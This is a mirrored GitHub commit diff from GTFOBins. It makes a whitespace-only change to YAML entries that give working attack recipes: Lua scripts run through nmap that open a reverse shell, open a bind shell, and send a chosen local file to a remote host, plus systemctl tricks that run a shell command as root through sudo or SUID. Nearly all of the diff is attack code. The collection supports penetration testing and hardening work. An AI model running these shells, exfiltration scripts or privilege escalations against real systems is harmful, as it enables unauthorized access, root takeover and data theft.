mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Drop useless echo indentation
This commit is contained in:
parent
a2886b643d
commit
d0464d7ce8
@ -17,13 +17,13 @@ functions:
|
|||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'local s=require("socket");
|
echo 'local s=require("socket");
|
||||||
local t=assert(s.tcp());
|
local t=assert(s.tcp());
|
||||||
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
||||||
while true do
|
while true do
|
||||||
local r,x=t:receive();local f=assert(io.popen(r,"r"));
|
local r,x=t:receive();local f=assert(io.popen(r,"r"));
|
||||||
local b=assert(f:read("*a"));t:send(b);
|
local b=assert(f:read("*a"));t:send(b);
|
||||||
end;
|
end;
|
||||||
f:close();t:close();' > $TF
|
f:close();t:close();' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
non-interactive-bind-shell:
|
non-interactive-bind-shell:
|
||||||
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
|
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
|
||||||
@ -31,12 +31,12 @@ functions:
|
|||||||
export LPORT=12345
|
export LPORT=12345
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'local k=require("socket");
|
echo 'local k=require("socket");
|
||||||
local s=assert(k.bind("*",os.getenv("LPORT")));
|
local s=assert(k.bind("*",os.getenv("LPORT")));
|
||||||
local c=s:accept();
|
local c=s:accept();
|
||||||
while true do
|
while true do
|
||||||
local r,x=c:receive();local f=assert(io.popen(r,"r"));
|
local r,x=c:receive();local f=assert(io.popen(r,"r"));
|
||||||
local b=assert(f:read("*a"));c:send(b);
|
local b=assert(f:read("*a"));c:send(b);
|
||||||
end;c:close();f:close();' > $TF
|
end;c:close();f:close();' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
||||||
@ -46,13 +46,13 @@ functions:
|
|||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'local f=io.open(os.getenv("LFILE"), 'rb')
|
echo 'local f=io.open(os.getenv("LFILE"), 'rb')
|
||||||
local d=f:read("*a")
|
local d=f:read("*a")
|
||||||
io.close(f);
|
io.close(f);
|
||||||
local s=require("socket");
|
local s=require("socket");
|
||||||
local t=assert(s.tcp());
|
local t=assert(s.tcp());
|
||||||
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
||||||
t:send(d);
|
t:send(d);
|
||||||
t:close();' > $TF
|
t:close();' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
file-download:
|
file-download:
|
||||||
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345
|
- description: Fetch remote file sent to a local TCP port. Run `nc target.com 12345
|
||||||
@ -62,13 +62,13 @@ functions:
|
|||||||
export LFILE=file_to_save
|
export LFILE=file_to_save
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'local k=require("socket");
|
echo 'local k=require("socket");
|
||||||
local s=assert(k.bind("*",os.getenv("LPORT")));
|
local s=assert(k.bind("*",os.getenv("LPORT")));
|
||||||
local c=s:accept();
|
local c=s:accept();
|
||||||
local d,x=c:receive("*a");
|
local d,x=c:receive("*a");
|
||||||
c:close();
|
c:close();
|
||||||
local f=io.open(os.getenv("LFILE"), "wb");
|
local f=io.open(os.getenv("LFILE"), "wb");
|
||||||
f:write(d);
|
f:write(d);
|
||||||
io.close(f);' > $TF
|
io.close(f);' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
|
@ -4,20 +4,20 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp).service
|
TF=$(mktemp).service
|
||||||
echo '[Service]
|
echo '[Service]
|
||||||
Type=oneshot
|
Type=oneshot
|
||||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||||
[Install]
|
[Install]
|
||||||
WantedBy=multi-user.target' > $TF
|
WantedBy=multi-user.target' > $TF
|
||||||
./systemctl link $TF
|
./systemctl link $TF
|
||||||
./systemctl enable --now $TF
|
./systemctl enable --now $TF
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp).service
|
TF=$(mktemp).service
|
||||||
echo '[Service]
|
echo '[Service]
|
||||||
Type=oneshot
|
Type=oneshot
|
||||||
ExecStart=/bin/sh -c "id > /tmp/output"
|
ExecStart=/bin/sh -c "id > /tmp/output"
|
||||||
[Install]
|
[Install]
|
||||||
WantedBy=multi-user.target' > $TF
|
WantedBy=multi-user.target' > $TF
|
||||||
sudo systemctl link $TF
|
sudo systemctl link $TF
|
||||||
sudo systemctl enable --now $TF
|
sudo systemctl enable --now $TF
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user